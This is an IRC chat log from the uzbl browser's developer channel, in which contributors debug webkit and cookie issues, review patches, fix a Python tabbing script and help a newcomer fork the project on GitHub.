19:40 < uranther> this what you mean? inject_handler_args (actname=0x947f5d0 "spawn", origargs=0x947ba10 "$XDG_DATA_HOME/uzbl/scripts/history.sh", newargs=0xbfa08694 "\"2009-06-26 11:49:56\"")
19:40 < DuClare> I guess it's possible to return a complete string rather than the two parts in inject_.. but internally, some splicing has to take place anyway
19:41 < DuClare> uranther: You can have multiple args in "origargs"
19:41 < DuClare> The first argument is the name of the script to spawn, or the command body to run
19:41 < DuClare> You must extract that and keep its position
19:41 < DuClare> Then come the new, injected args
19:41 < DuClare> And then the rest of the original args
19:42 < uranther> so newargs is an argument to the history.sh script?
19:43 < DuClare> Yes.  IMHO it pretty much states that in the comment in the beginning of that function..
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19:53 < uranther> DuClare, aight cool.. I think i'll just leave this function alone for now until i get my head around it :P
19:53 < uranther> there are some leaks in inject_handler_args though
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20:10 < bartman> hmm... is there a way to drag a google map in uzbl, like I'd do in ff ?
20:12 < uranther> DuClare, oh i see the comment in inject_handler_args, i thought you were talking about the other one ;) There always is g_string_insert though. It may be cleaner
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20:23 < DuClare> uranther: You still need to figure out where to insert the string.  I use our quotation system for that.
20:24 < uranther> maybe this weekend I will strip the internals of those functions are rewrite them.. although don't depend on me lol
20:24 < uranther> and*
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20:39 < Dieterbe_> bartman: you mean dragging the map to shift your "viewport" ? that works for me, though the cursos is not a hand like in FF
20:39 < bartman> strange
20:39 < bartman> Dieterbe_: it highlights the map rectanges for me
20:41 < bartman> I guess that's webkit, not uzbl
20:41 < bartman> # ldd =uzbl | grep webkit
20:41 < bartman> libwebkit-1.0.so.2 => /usr/lib/libwebkit-1.0.so.2 (0x00007f103b7d5000)
20:41 < bartman> I have 1.1.7-1 installed
20:43 < Dieterbe_> 1.1.10 here
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20:46 < Dieterbe_> @peak
20:46 < uranther> ruh roh
20:46 < Dieterbe_> oh noes. the bot is gone
20:57 < uranther> i'm surprised glib doesn't have GMath or something :P
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21:13 < wng-> anyone know whats going wrong here? http://pastebin.com/mb810557
21:15 < uranther> wng-, looks like you don't have webkit or libsoup?
21:20 < wng-> just installed both
21:23 < Dieterbe_> that's weird
21:23 < Dieterbe_> wng-: you need the -dev packages also
21:23 < uranther> ah
21:23 < uranther> wng-, what system are you building on?
21:27 < wng-> Slackware64
21:28 < uranther> :[]
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21:54 < holizz> I'm ashamed it took me long enough to remember that IRC Jabber transports existed. I started running a Tor proxy then got b& by Freenode. They claim to have a service that works through Tor, but it doesn't work.
22:03 < Dieterbe_> well, good to have you back
22:03 < Dieterbe_> there has been a lot of talk about cookie "daemons"
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22:06 < holizz> This sounds exciting.
22:07 < uranther> Dieterbe_, is it ok if i include comments or a typo fix with my commit?
22:07 < uranther> that are unrelated to what i fixed
22:07 < uranther> :o
22:07 < F> uranther: what did you fix?
22:07 < uranther> the way history_handler prints its dates
22:08 < uranther> my way is more portable and less wasteful
22:08 < Dieterbe_> uranther: do the typo/comments commits first, then the big change.
22:08 < uranther> k thx :)
22:08 < uranther> err well i might have to do it the other way around but that won't matter
22:12 < uranther> http://github.com/uranther/uzbl/commit/cdbe169f1eff7fa3e3659d6c20ad133a6412312d
22:16 < uranther> anyways i'm out
22:16 < uranther> peace guys
22:16 < bartman> Dieterbe_: I've rebuilt webkit 1.1.10 and I still get the same thing with google maps ... any other suggestions?
22:16 < Dieterbe_> bartman: no idea man
22:16 < bartman> hmm
22:16 < Dieterbe_> bartman: do you wait long enough to give it time to "settle" ?
22:16 < Dieterbe_> i think the dragging only worked after a short while for me
22:17  * bartman reloads
22:17 < bartman> at the top google ajax magic prints "Still loading... Slow? Use the troubleshooting guide or basic HTML."
22:17 < holizz> Dieterbe_: Spelling mistakes: http://github.com/holizz/uzbl/commit/b3081aed27a562d161be02e1a081e17b53e07bed
22:17 < bartman> so I guess it's detecting that something is not working
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22:18 < Dieterbe_> bartman: hmm i didn't have that
22:19 < bartman> ok, thanks
22:19 < Dieterbe_> hmm wait a minute, i use a slightly older version maybe then you
22:19 < bartman> I tried 1.1.7 before and now 1.1.10
22:19 < Dieterbe_> Build Date     : Tue 09 Jun 2009 07:19:51 PM CEST
22:19 < Dieterbe_> lol, seems like my uzbl in /usr/bin is way old :P
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22:23 < holizz> Dieterbe_: What's your opinion on this: http://github.com/holizz/uzbl/commit/f9f5cb6059e810bf047830b87604625125be97f6
22:24 < holizz> It asks a script if it can open a new window. And if the script echos ALLOW, it opens one.
22:24 < Dieterbe_> holizz: it needs an example script
22:24 < Dieterbe_> i cannot merge this if you don't add an example script
22:25 < holizz> set policy_handler = sh 'echo ALLOW'
22:25 < holizz> Is what I've been using lately.
22:27 < Dieterbe_> ehehe
22:27 < Dieterbe_> well fair enough, if it's that simple
22:28 < holizz> You could, of course, check the URL it came from from the argument in a more complicated script.
22:28 < Dieterbe_> yeha
22:28 < holizz> And it mostly works, I think. When I had it set to DENY, a few windows opened ocassionally.
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22:35 < holizz> Shall I add the relevant bits to the example config? Do you want a nice complicated example script or will what I've got suffice?
22:38 < Dieterbe_> set policy_handler = sh 'echo ALLOW' should do
22:38 < Dieterbe_> just document it
22:41 < Dieterbe_> i need sleep
22:41 < Dieterbe_> bye
22:42 < holizz> Good night!
22:47 < DuClare> Sleep well diet
22:47 < DuClare> o/
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00:33 < holizz> Night, y'all.
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02:55 < dxdx> fuck yeah, it seems that they fixed the gmail bug
02:55 < dxdx> https://bugs.webkit.org/show_bug.cgi?id=16741
02:55 < dxdx> last comment
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03:22 < dxdx> indeed, just yaourt'd libsoup 2.27.2 and gmail works now :D
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03:53 < bct> ewwww
03:53 < bct> support for xmlrpc is in libsoup's TODO
03:58 < uranther> has Dieterbe done any badass merging lately that i missed?
03:58 < bct> dxdx's stuff is pretty badass
03:58 < bct> but nothing since then
03:58 < uranther> well i mean a lot of merges
03:58 < uranther> i have stuff from jun 8
03:58 < uranther> bug fixes and stuff
03:59 < uranther> that haven't been merged
03:59 < bct> aaah
03:59 < bct> dunno.
04:01 < uranther> werd
04:13 < bct> uranther, your testing changes don't merge well with dieter/experimental at all :(
04:13 < bct> all those static functions.
04:13 < uranther> blah :(
04:13 < uranther> yeah
04:14 < uranther> i just did :%s/static // in vim
04:14 < uranther> except those 2 functions that don't follow the "coding standard"
04:14 < uranther> i totally just found the TODO file
04:15 < uranther> it says split uzbl.c in multiple files.. ??
04:21 < uranther> so how come we can't do something like: chain "sh ls -l" "sh ls -a"
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09:20 < DuClare> uranther: chain 'sh "ls -l"' 'sh "ls -a"'
09:20 < uranther> oh ok
09:21 < DuClare> Remember the body of the script must come as a single argument. :)
09:21 < uranther> now i can see why that code of yours can get so complicated
09:21 < uranther> there is some wizardry afoot
09:24  * uranther nethack
09:25 < lazzareth> Does anybody know much about pygtk in here?
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09:26 < uranther> nope, sorry :/ what's the question?
09:27 < lazzareth> I'm trying to modify the tabbing script to add a gtk.Label up the top for the tablist but as soon as I put the gtk.Notebook inside a gtk.VBox I cant access the self.mynotebook.window.xid (which uzbl needs)
09:27 < lazzareth> self.wid = self.notebook.window.xid   ->  AttributeError: 'NoneType' object has no attribute 'xid'
09:28 < uranther> whats the label for?
09:29 < lazzareth> Making my own status bar outside of uzbl purely to hold the tablist (which contains uzbl window names)
09:29 < uranther> oh like in firefox or whatever
09:29 < lazzareth> Except vim-like
09:30 < lazzareth> But uzbl needs that window.xid so that they can forward their displays to gtk.Notebook tabs
09:30 < lazzareth> (I'm new to gtk programming but thats how I understand it)
09:31 < uranther> i dunno :/
09:32 < lazzareth> Does anybody know how I can contact quigybo? Hes made the most headway on the python tabbing script so far. I'm just trying to improve it.
09:34 < lazzareth> http://www.uzbl.org/wiki/uzbl_tabbed?do=revisions hes a contributor on the uzbl wiki
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09:34 < lazzareth> Does he have an email address lying around somewhere
09:37 < Dieterbe_> morning bitchizz
09:38 < uranther> ah mornin dieterbe
09:38 < lazzareth> Dieterbe_, Mornin'
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09:48 < Dieterbe_> bct> support for xmlrpc is in libsoup's TODO <-- wait.. what? ajax doesn't work?
09:49 < lazzareth> ajax works in uzbl?
09:50 < lazzareth> That came out wrong, I mean ajax does work in uzbl.
09:51 < Dieterbe_> that's what i also thought. not that i use much ajaxy sites
09:59 < lazzareth> Bah! I got it working!, I had forgotten to add the vbox to the window
09:59 < lazzareth> *sigh*
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10:03 < Dieterbe_> lazzareth: do you think i should put the new tabbed script from the wiki in the example scripts dir?
10:04 < lazzareth> Absolutely.
10:05 < Dieterbe_> isn't it too invasive? can i test it just like this or do i need to configure much things and such
10:05 < Dieterbe_> basically i want all sample scripts to "just work"
10:05 < lazzareth> Currently theres an error in the script
10:06 < lazzareth> Another XDG_DATA_HOME problem.
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10:06 < lazzareth> The script "just-works" as it is. However as it stands all the tabbing-wrapper config is in the python file. I don't know if that is good or bad.
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10:08 < Dieterbe_> that's no problem imho
10:08 < uranther> it's 4am and i'm bored
10:12 < lazzareth> Dieterbe_, Fixed the XDG problems, heres the updated version:  http://www.uzbl.org/wiki/uzbl_tabbed
10:13 < lazzareth> Eeek!, I forgot to add an edit summary :S
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11:21 < lazzareth> I cant for the life of me figure out how to set the background color of gtk widgest
11:21 < lazzareth> 'widgets
11:25 < Dieterbe_> heh. it's pretty easy :/
11:31 < Dieterbe_> dieter@dieter-ws-a7n8x-arch scripts [experimental] python uzbl_tabbed2.py 
11:31 < Dieterbe_> Traceback (most recent call last):
11:31 < Dieterbe_>   File "uzbl_tabbed2.py", line 223, in <module>
11:31 < Dieterbe_>     uzbl_tabbed = Uzbl_Tabbed()
11:31 < Dieterbe_>   File "uzbl_tabbed2.py", line 39, in __init__
11:31 < Dieterbe_>     self.window.set_icon( gtk.gdk.pixbuf_new_from_file(os.path.expandvars(icon_path)) )
11:31 < Dieterbe_> glib.GError: Failed to open file '/uzbl/uzbl.png': No such file or directory
11:31 < Dieterbe_> meh
11:32 < Dieterbe_> doesn't wor at all for me. i commented out the icon thing
11:33 < Dieterbe_> but new tabs don't open when i press ctrl-t
11:35 < lazzareth> Can you add this to the top of the file under the icon_path deceleration: print "data_dir = %r icon_path = %r" % (data_dir, icon_path)
11:35 < lazzareth> and tell me what it prints
11:36 < lazzareth> 'declaration sorry
11:36 < lazzareth> (stupid spell checker)
11:38 < lazzareth> Dieterbe_, ^
11:39 < Dieterbe_> there is nothing wrong with the path
11:39 < Dieterbe_> i just don't have an icon in my $XDG_DATA_HOME
11:39 < lazzareth> Oh!
11:39 < Dieterbe_> icons should be optional (like with uzbl itself)
11:45 < lazzareth> Modified to make icons optional: http://www.uzbl.org/wiki/uzbl_tabbed
11:47 < Dieterbe_> i'm not gonna bother anymore unless opening new tabs works as described, sorry 
11:48 < lazzareth> You still have a problem opening tabs?
11:48 < lazzareth> I cant help in that department (works for me).
11:48 < lazzareth> I didnt write the original script so I am not familiar with that part of the code.
11:49 < lazzareth> Sorry :S
11:50 < Dieterbe_> np
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11:52 < holizz> uzbl_tabbed has changed quite a bit.
11:53 < lazzareth> Dieterbe_, Do you know much about gtk?
11:54 < Dieterbe_> not really
11:54 < Dieterbe_> but i did play with color stuff for the statusbar
11:55 < lazzareth> Ah, well someone else might know, I've got a label inside a gtk.VBox and Im trying to get it to expand to fill the width of the window
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11:57 < N30N> Is there currently a way to add <ctrl>key binds?
11:58 < mxey> N30N: Yes, you have to insert the control charecter itself into the configuration file.
11:58 < mxey> for example, with ^V in Vim.
11:59 < N30N> mxey: I did try that, didn't work for me
11:59 < mxey> I am doing that myself, N30N
12:02 < N30N> ok it's working, but some compos add multipule chars and they dont work
12:13 < holizz> -          os.path.join(os.environ['XDG_DATA_HOME'],'/uzbl/cookies.txt'))
12:13 < holizz> +          os.path.join(os.environ['XDG_DATA_HOME'],'uzbl/cookies.txt'))
12:13 < holizz> In cookies.py.
12:23 < holizz> http://github.com/holizz/uzbl/commit/463c120d6131ddb4612744f360516be601ae30b7
12:23 < holizz> http://github.com/holizz/uzbl/commit/9d0ea5ae5004d78aa4de160a6b691bece90be8e7
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12:33 < N30N> grrr also can't bind ^I (tried everything) :(
12:34 < lazzareth> holizz, os.path.join takes care of that already.
12:36 < holizz> "If any component is an absolute path, all previous path components will be discarded."
12:36 < lazzareth> .. Really?
12:37 < lazzareth> Oh wow. You are correct
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12:41 < tha> i still have the problem that 2 windows open when i click on a link that opens in a new window. 
12:43 < holizz> tha: That's fixed in my policy_handler branch.
12:44 < holizz> It didn't really make sense to fix the bug then implement the new functionality as it would have meant removing code then putting most of it back.
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12:50 < tha> thx a lot
12:52 < tha> now i just need to get uzbl_tabbed working - and be able to loginto gmail with cookies enabled - then there would be no need for firefox anymore
12:53 < bob_f> I had to install firefox on here last night.
12:53 < bob_f> Was really drunk and wanted to buy some tickets for a festival and was worried I wouldn't buy them sober in the morning, and uzbl was having a problem with the webpage.
12:54 < tha> hahaha
12:54 < holizz> Which Web site/which problem?
12:54 < bob_f> Just looking it up now.
12:54 < bob_f> http://glade.ticketline.co.uk/
12:54 < bob_f> Click "BUY TICKETS"
12:55 < holizz> Bug report: "To reproduce: send 130 EUR to holizz@gmail.com via paypal"
12:55 < bob_f> Heheh.
12:57 < holizz> uzbl is getting redirected to a mobile version of the site...
12:57 < bob_f> Ah, user agent madness ?
12:58 < holizz> You are not Firefox or Internet Explorer ... therefore you must be ....... a mobile phone!
12:58 < bob_f> I guess it makes sense with all these custom mobile browsers.
13:00 < holizz> Trying again with Firefox's user agent string.
13:01 < holizz> "Unable to load page"
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13:02 < bob_f> Harrumph.
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13:03 < holizz> Weird. wget grabs the page fine.
13:34 < jaj> "if it's webkit it must be a mobile browser"
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13:39 < tha> lazzareth: i get an error with the uzbl_tabbed script - line 170 invalid syntax
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13:40 < jaj> what do you get when you visit this page: http://en.wikipedia.org/wiki/K9copy ?
13:41 < tha> wow
13:41 < tha> garbage
13:41 < lazzareth> jaj, Same here
13:41 < tha> not in firefox thou
13:42 < lazzareth> tha, Might be the return on line 168 causing the trouble
13:42 < holizz> I noticed that bug earlier this morning. http://www.uzbl.org/bugs/index.php?do=details&task_id=49
13:42 < lazzareth> tha, Try replacing "return with r
13:42 < lazzareth> ahhh
13:42 < jaj> I described last time that I saw that happen quite often, I accused gzip encrytion first
13:42 < lazzareth> tha, Try replacing "return" with "return True"
13:43 < jaj> I have webkit-1.1.10v0
13:43 < jaj> I shows the same garbage in midori
13:45 < holizz> tha/lazzareth: Which version of uzbl_tabbed.py is this?
13:46 < lazzareth> The one currently on the wiki ( http://www.uzbl.org/wiki/uzbl_tabbed )
13:46 < tha> a download link would save so much time... 
13:47 < tha> :p
13:47 < lazzareth> Noted.
13:47 < holizz> Have you tried http://gist.github.com/ ?
13:48 < holizz> Git + pastebin = win.
13:48 < tha> uzbl doesnt copy newlines correctly - or it does, but the way how firefox does it is the one python wants it
13:48 < holizz> uzbl copies the NBSPs correctly.
13:49 < tha> when i select the script with uzbl and paste it into vim - i cant execute the script
13:49 < holizz> Pasting into vim? Danger Will Robinson!
13:50 < lazzareth> tha, :set paste
13:50 < holizz> When I paste into vim I do :r!cat
13:50 < lazzareth> before pasting
13:50 < tha> lazzareth: yes i set paste
13:51 < holizz> What error does Python raise?
13:51 < bob_f> I don't appear to be able to log in to facebook - tells me cookies are disabled.
13:51 < bob_f> But I can log in to e.g. gmail just fine.
13:52 < tha> SyntaxError: Non-ASCII character '\xc2' in file ./test on line 2, but no encoding declared
13:52 < holizz> bob_f: This is a known issue. What we don't know is _why_.
13:52 < holizz> That's the NBSP.
13:53 < holizz> The UTF-8 encoding of an NBSP is C2,A0.
13:54 < lazzareth> tha, http://gist.github.com/136984
13:54 < holizz> Interestingly, the actual codepoint is A0. Well, I find it interesting.
13:55 < N30N> I'm getting a empty string for $4 in sh commands? Any ideas? :(
13:56 < bob_f> holizz: Ah, okay, no worries.
13:58 < holizz> N30N: Which handlers/bindings/whatever are you getting a blank $4 for?
13:59 < tha> lazzareth: hmm it starts. but im not able to open new tabs - i just get a red square 0 0 1 4
13:59 < N30N> holizz: donno, am using the example config…
14:00 < lazzareth> tha, Are you using the correct key bindings?
14:00 < lazzareth> tha, try "<ctrl>+PageUp/PageDown" to switch between tabs
14:00 < tha> ctrl+t (as set in the uzbl_tabbed.py)
14:01 < lazzareth> it doesnt automatically switch to the new tab
14:01 < lazzareth> I think that is whats tricking people
14:01 < tha> how do i get the new tab then?
14:02 < lazzareth> <ctrl>+PageUp
14:02 < lazzareth> (Its stupid I know, im working on a new version that integrates with uzbl key binds)
14:03 < lazzareth> tha, Did it work?
14:03 < tha> ctrl+t just inserts an underline to the uzbl input
14:03 < N30N> holizz: ok no handlers and uzbl is calling the cammand directly from the bind eg. bind x = sh "echo $4"
14:04 < tha> lazzareth: i dont need to edit anything in my uzbl config, to make it work - right?
14:04 < lazzareth> tha, Nope
14:05 < N30N> ok got $4 woking there where old uzbl_fifo_* files that where blocking it some how
14:06 < tha> lazzareth: no sry. im not able to open a new tab
14:07 < lazzareth> tha, Well I am sorry I'm unable to help you. I didn't write the initial version of uzbl_tabbed.py I am re-writing my own right now that will hopefully work better for everyone.
14:08 < tha> i will just wait then. thx a lot for your help/work
14:09 < holizz> lazzareth: uzbl_tabbed was my creation, originally. I really like what you're doing with it.
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14:09 < lazzareth> holizz, OH Finally :P
14:10 < lazzareth> I was trying to figure out earlier how to get in contact with the guy who wrote it
14:11 < holizz> I was about to say "use git blame", but then I realised Dieterbe merged it in from my gist.
14:13 < lazzareth> http://www.uzbl.org/wiki/uzbl_tabbed?do=revisions I'm not quigybo however. I have no idea who that guy is but I am building on what looks like his modifications to your initial gist.
14:14 < lazzareth> So I cant take all the credit (yet :P)
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14:46 < holizz> brb
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16:31 < holizz> Have you seen all this whitespace in uzbl.? ?
16:32 < bct> which whitespace?
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16:32 < bct> there are lots of lines with trailing whitespace, which annoys me.
16:33 < holizz> Gone! http://github.com/holizz/uzbl/commit/2af901ba8406bbbcca7abd270cff24c9ef9f50c9
16:35 < bct> :D
16:35 < bct> i thought i was the only one who had a bizarre obsession with trailing whitespace.
16:36 < bct> (it's my own fault for telling vim to highlight it in red)
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17:04 < N30N> There any plans to add heredoc support to the config file? Oneliners are a pain!
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17:26 < lazzareth> holizz, Know anything about uniquely identifying tabs in a notebook?
17:26 < lazzareth> like can I get the current notebooks socket id or something?
17:27 < holizz> Interesting question...
17:31 < lazzareth> OH!, Awesome
17:31 < lazzareth> holizz, You can convert notebooks into lists, lists of the pages sockets (in order). Perfect solution.
17:32 < holizz> How handy.
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18:32 < Dieterbe_> holizz: what's an nbsp?
18:33 < holizz> "No-break space"
18:34 < holizz> It's a character, which is used in HTML in elements which require some content.
18:34 < holizz> i.e. <table><tr><td>&nbsp;<td>foobar
18:35 < holizz> As having a TD element containing only whitespace would often not render like a TD containing an NBSP.
18:48 < Dieterbe_> i see
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18:50 < Dieterbe_> lazzareth: you could also look in the AUTHORS file, it's quite accurate and lists holizz as author for the uzbl_tabbed.py
18:50 < Dieterbe_> bct> (it's my own fault for telling vim to highlight it in red) <-- please share 
18:51 < holizz> syntax match Error "\s\+$"
18:53 < bct> yup.
18:53 < Dieterbe_> hmm i have to put that in ~/.vimrc? doesn't work for me
18:53 < bct> i also have mine set up to highlight lines where tabs are mixed with spaces
18:53 < bct> highlight RedundantSpaces term=standout ctermbg=red guibg=red
18:53 < bartman> here is some more on the topic: http://www.jukie.net/~bart/blog/vim-and-linux-coding-style
18:53 < bct> match RedundantSpaces /\s\+$\| \+\ze\t/
18:54 < bartman> look down at highlighting
18:55 < bartman> btw, I am really used to doing :o g term term term when googling for something in vimperator
18:55 < bct> Dieterbe_, my clean branch should be mergable now.
18:55 < bartman> I setup a bind for :g _ to do the same in uzbl, but it only grabs the first word after :g
18:55 < bartman> is there a better way?
18:55 < bct> is there a good reason that all the functions in uzbl.c are static? it makes writing tests against them difficult.
18:55 < Dieterbe_> bct: i have the default bind, and 'gg foo bar' will google for 'foo bar'
18:56 < Dieterbe_> bartman: i mean ^^
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18:56 < bartman> bind    :g _        =  uri http://www.google.com/search?q=%s
18:56 < bartman> hmm
18:56 < bartman> it does work
18:56  * bartman checks his script
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18:57 < bartman> ah, it's this one I had issues with:
18:57 < bartman> bind    :tg _        =  sh "uzbl --uri=http://www.google.com/search?q=%s                                    >/dev/null 2>&1 &"
18:57 < Dieterbe_> Binding gg _       : uri http://www.google.com/search?q=%s
18:57 < bartman> I guess I just need to quote it
18:57  * bartman tries with ""s
18:57 < Dieterbe_> you mean "'s
18:58 < Dieterbe_> one ", two "'s :P
18:58 < bartman> I want :tg foo bar to spawn a new usbl instance
18:58 < bartman> but what I posted above for bind :tg doesn't get the bar in :tg foo bar
18:59 < Dieterbe_> bartman: if you want to spawn a new instance, maybe it would be better to bind a script for this and trigger it with xbindkeys. then you can "google for term in new instance" from anywhere, without needing to have a uzbl instance focused
18:59 < bartman> quotes fix it
18:59 < Dieterbe_> s/bind a script/write a script/
19:00 < bartman> force of habit
19:00 < bartman> I already have alt-a google and alt-a browser in wmii
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22:17 < jrick> it looks like the javascript version of the go-up script (off the wiki) doesn't work if the url ends with a slash. Instead, it just loads the same url. Haven't tried the perl version yet.
22:18 < jrick> I'd hack it, but I don't know javascript at all
22:18 < dxdx> jrick: link to the wiki page please
22:18 < jrick> http://www.uzbl.org/wiki/go-up
22:18 < dxdx> i know javascript, but i'm lazy
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22:22 < dxdx> jrick: add .replace(/\/$/, "") after toString()
22:22 < jrick> ok
22:22 < dxdx> document.location = document.location.toString().replace(/\/$/, "").split(/\//).slice(0,-1).join("/")
22:23 < jrick> any reason why I should use document.location = ... instaed of window.location = ... ?
22:24 < dxdx> oh, uhm.. the original version says window?
22:24 < jrick> yeah
22:25 < dxdx> i don't know, both versions work
22:25 < jrick> ok
22:25 < jrick> thanks for the fix!
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00:13 < jrick> is there a way I can reload my configuration file from an already running uzbl instance? I'm pretty sure I would have to cat my config file to somewhere, but where?
00:15 < holizz> bind :reload = sh 'cat $1 > "$4"'
00:16 < holizz> jrick: ^^
00:16 < jrick> ok, thanks. this only will update settings which changed, not remove them if they were removed, though?
00:17 < holizz> That's my understanding.
00:17 < jrick> all right
00:19 < jrick> oh, I see that !reload was already bound...
00:26 < jrick> reloading also seems to go back to the "home page", can this be avoided?
00:27 < holizz> Hmm. Possibly your config file does something like "set uri = ...", right?
00:27 < jrick> yeah
00:28 < jrick> not sure how that can be avoided then, unless I remove it
00:28 < holizz> bind :reload = sh 'grep -v "^set uri" $1 > "$4"' ...?
00:29 < holizz> This is why I like uzbl.
00:29 < jrick> yeah
00:29 < jrick> now uzbl crashed when I reloaded it
00:29 < jrick> lol
00:30 < holizz> Odd.
00:30 < jrick> want a bt?
00:30 < holizz> Sure.
00:31 < jrick> http://pastebin.com/m1845cf54
00:33 < jrick> and yes, reloading does work now :)
00:33 < holizz> Ah, that was just a one-off then?
00:33 < jrick> what do you mean?
00:34 < holizz> That crash was just a one-off, unrelated to what we were doing.
00:34 < jrick> yeah
00:45 < holizz> Anyway, time for bed. Night night!
00:46 < jrick> this crash seems pretty consistant though, I can always cause it to crash again after a few reloads
00:46 < jrick> oh, ok. night
00:47 < holizz> Oh, that's handy. Probably something to do with one of the files that gets initialised, like the FIFO or something.
00:47 < jrick> I'll look at the source
00:47 < jrick> not sure if I'll get anything out of it though
00:47 < jrick> not really a C coder
00:48 < holizz> Me neither. I do a lot of things by trial-and-error.
00:48 < jrick> yeah, it crashes with create_stdin()
00:49 < holizz> Excellent.
00:49 < holizz> But yes, bed.
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00:57 < ebirtaid> is there a working way to get tabs with uzbl? I am trying to use the script here http://www.uzbl.org/wiki/uzbl_tabbed but all that happens when I bind it or run it is a window pops up aith 2/3 of the screen being an add button, clicking add will create a new tab in the lower half of the window. It seems this isn't whats supposed to happen according to the screen shots
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02:43 < dxdx> it sucks to be left with an "excellent" random crash bug report that happens on a function that is only called once at startup and shouldn't be called after
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03:23 < djnm> can i make urxvt use uzbl as the default url launcher?
03:24 < dxdx> i don't use urxvt, but there's a wiki page about that
03:24 < djnm> thanks, ill check it out
03:27 < djnm> ah perfect!
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04:18 < jrick> dxdx: lol, is there something that I can grep -v out of that config so that is doesn't call that again?
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04:20 < scj> is there a way to unbind stuff yet?
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04:21 < F> hi
04:23 < dxdx> jrick: afaik there is no way to call create_stdin again
04:23 < dxdx> F: F
04:24 < jrick> dxdx: strange, because that's what the backtrace is complaining about
04:24 < dxdx> that's my point, it doesn't make sense
04:25 < dxdx> (although i haven't re-read that code, yet)
04:27 < jrick> oh man, I'm so stupid
04:27 < jrick> I typed in the wrong number into vim when I went to that line
04:27 < jrick> it's crashing on gtk_main()
04:28 < dxdx> oh, that sounds slightly better
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05:14 < singpolyma> Have other people gotten "GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'" ? I think it may be a libwebkit bug, but it's hard to tell
05:16 < dxdx> singpolyma: i've seen that on the bugtracker, but i haven't got it
05:17 < dxdx> singpolyma: what distro? glib versions?
05:17 < singpolyma> Ubuntu Jaunty
05:17 < singpolyma> uh... how do I find glib version? :P  Can't remember the package name *looks more*
05:18 < dxdx> btw, glib != glibc
05:19 < singpolyma> libglib2.0-0   --   2.20.1-0ubuntu2
05:24 < dxdx> just noticed that the error message says "recursivly"
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05:26 < dxdx> singpolyma: could you please add a comment with the requested details here? http://www.uzbl.org/bugs/index.php?do=details&task_id=42
05:26 < singpolyma> dxdx: sure :)  do I need an account for that?
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05:27 < dxdx> not sure, but the bug submitter was anonymous
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05:28 < singpolyma> ok
05:37 < singpolyma> comment added
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07:00 < F> what does one have to learn to seriously help with uzbl development?
07:01 < F> i already know C.
07:02 < dxdx> well.. i don't know much more than that and did the javascriptcore stuff
07:02 < F> what did you have to know/read/learn in order to do that?
07:03 < F> i dont have any experience with coding for big projects. I want to start. I am  choosing uzbl as my first open source hacking adventure. I just want to get really familiar with it and hack it.
07:03 < F> do I need to be familiar with some APIs?
07:03 < F> or X libraries?
07:03 < F> or other things?
07:03 < F> thats what i am asking
07:03 < dxdx> not really, i've learnt how to use glib with uzbl
07:04 < dxdx> and reading API reference pages you get everything else
07:04 < F> how many lines of code is uzbl?
07:04 < dxdx> aprox 3k
07:04 < dxdx> in a single module :D
07:04 < F> :| what is a module?
07:05 < F> where are these API reference pages?
07:05 < dxdx> that is the way i call .c files
07:05 < dxdx> (i say module because i come from python)
07:05 < F> so its all in one huge .c file?
07:05 < F> cool.
07:05 < dxdx> yup
07:05 < F> i guess. heh.
07:05 < dxdx> http://library.gnome.org/devel/glib/stable/
07:06 < dxdx> glib is an awesome library with a bunch of useful functions
07:08 < F> i see. so get familiar with glib.
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07:09 < F> dxdx: any of those pages to focus on?
07:09 < dxdx> let's see..
07:09 < joyfulgirl> Hmm, interesting. Logging into the bug tacker with instructions to "remember me", closing uzbl, and browsing back to the bug tracker doesn't log you back in
07:09 < dxdx> joyfulgirl: maybe because there are no cookies (or they don't work)
07:10 < joyfulgirl> dxdx: Perhaps. I'm using the cookies.sh script ATM
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07:11 < dxdx> F: basic types and standard macros, simple stuff that you should be aware
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07:11 < F> thanks
07:11 < dxdx> ..but quite useless
07:12 < dxdx> the main event loop is a cool topic, but you don't need it unless you need timeouts/intervals or IO events
07:12 < dxdx> error reporting are some more convenience methods
07:13 < dxdx> IO channels are another cool feature, but you'll probably not need them
07:14 < dxdx> the string utilities and GString ("strings" in the data types section) are probably the most useful feature
07:15 < dxdx> F: F
07:15 < F> yo
07:17 < dxdx> oh, and then there are GObjects, which are quite complex to define quite easy to use, you won't see them directly but as GTK widgets instead, or stuff like that
07:17 < dxdx> most of the webkitgtk API is exposed with GObjects
07:18 < joyfulgirl> Aha, it's a cookies.sh problem. cookies.py (once I got it working) works fine.
07:18 < dxdx> F: http://webkitgtk.org/reference/index.html
07:19 < scj> has anyone tried my new formfiller?
07:19 < scj> uses js to query the dom instead of downloading the page with an external app
07:21 < dxdx> how do you add more entries? manually?
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07:23 < scj> there's a dump command that outputs all the forms on the page in a json-ish format to a file and then opens an editor on it
07:24 < scj> well, they are js objects really
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07:24 < cdwillis> howdy
07:27 < F> do i need to create some sort of github account?
07:27 < scj> if you want to contribute, yes
07:27 < scj> more or less
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07:28 < dxdx> you can still send plaintext patches for small fixes though
07:29 < F> i want to get into this github craze.
07:29  * dxdx considers seriously querying formhistory.sqlite
07:31 < dxdx> F: it's cool because it motivates you to make important changes. at least that happened to me
07:32 < F> word.
07:34 < F> do i just download the master?
07:35 < dxdx> experimental
07:35 < F> Dieterbe-uzbl-7335fa2d650c4a3378484dfbc71ff572b5613b27.tar.gz
07:35 < F> ah. why experimental?
07:35 < scj> development is against experimental
07:35 < dxdx> because master is an slightly outdated branch that includes only "stable" stuff
07:35 < F> i didnt know phrakture was the author or uzbl...
07:36 < dxdx> wat
07:36 < dxdx> he just sent a few patches to the makefile
07:36 < F> oh.
07:36 < dxdx> contributor != author
07:36 < F> phrakture (author)
07:36 < F> thats what it says on my github page.
07:36 < dxdx> author for that commit
07:36 < dxdx> not for everything :P
07:36 < F> ah. sorry. this is my first time using git.
07:37 < dxdx> oh, the learning curve sucks :D
07:37 < joyfulgirl> But the payoff is awesome!
07:37 < dxdx> indeed
07:39 < F> is "Dieterbe/uzbl" what i want to watch or download or whatever?
07:39 < dxdx> F: you fork it
07:39 < F> fork what?
07:40 < dxdx> Dieterbe/uzbl, i mean, you click the fork button in that page
07:40 < F> i just searched uzbl in github and got two responses: Dieterbe / uzbl; anydot / uzbl
07:40 < F> the Dieterbe seems like it has more activity around it.
07:40 < dxdx> oh, Dieterbe's
07:40 < F> and I fork it. k.
07:41 < dxdx> scj: oh wow, mozilla stores everything but passwords in formhistory.sqlite
07:42 < F> why cant i see other people's forks when I search for uzbl?
07:42 < dxdx> those are in "signons3.txt"
07:42 < dxdx> F: not sure, bug?
07:42 < scj> weird
07:43 < F> k. so i forked it. now what? heh
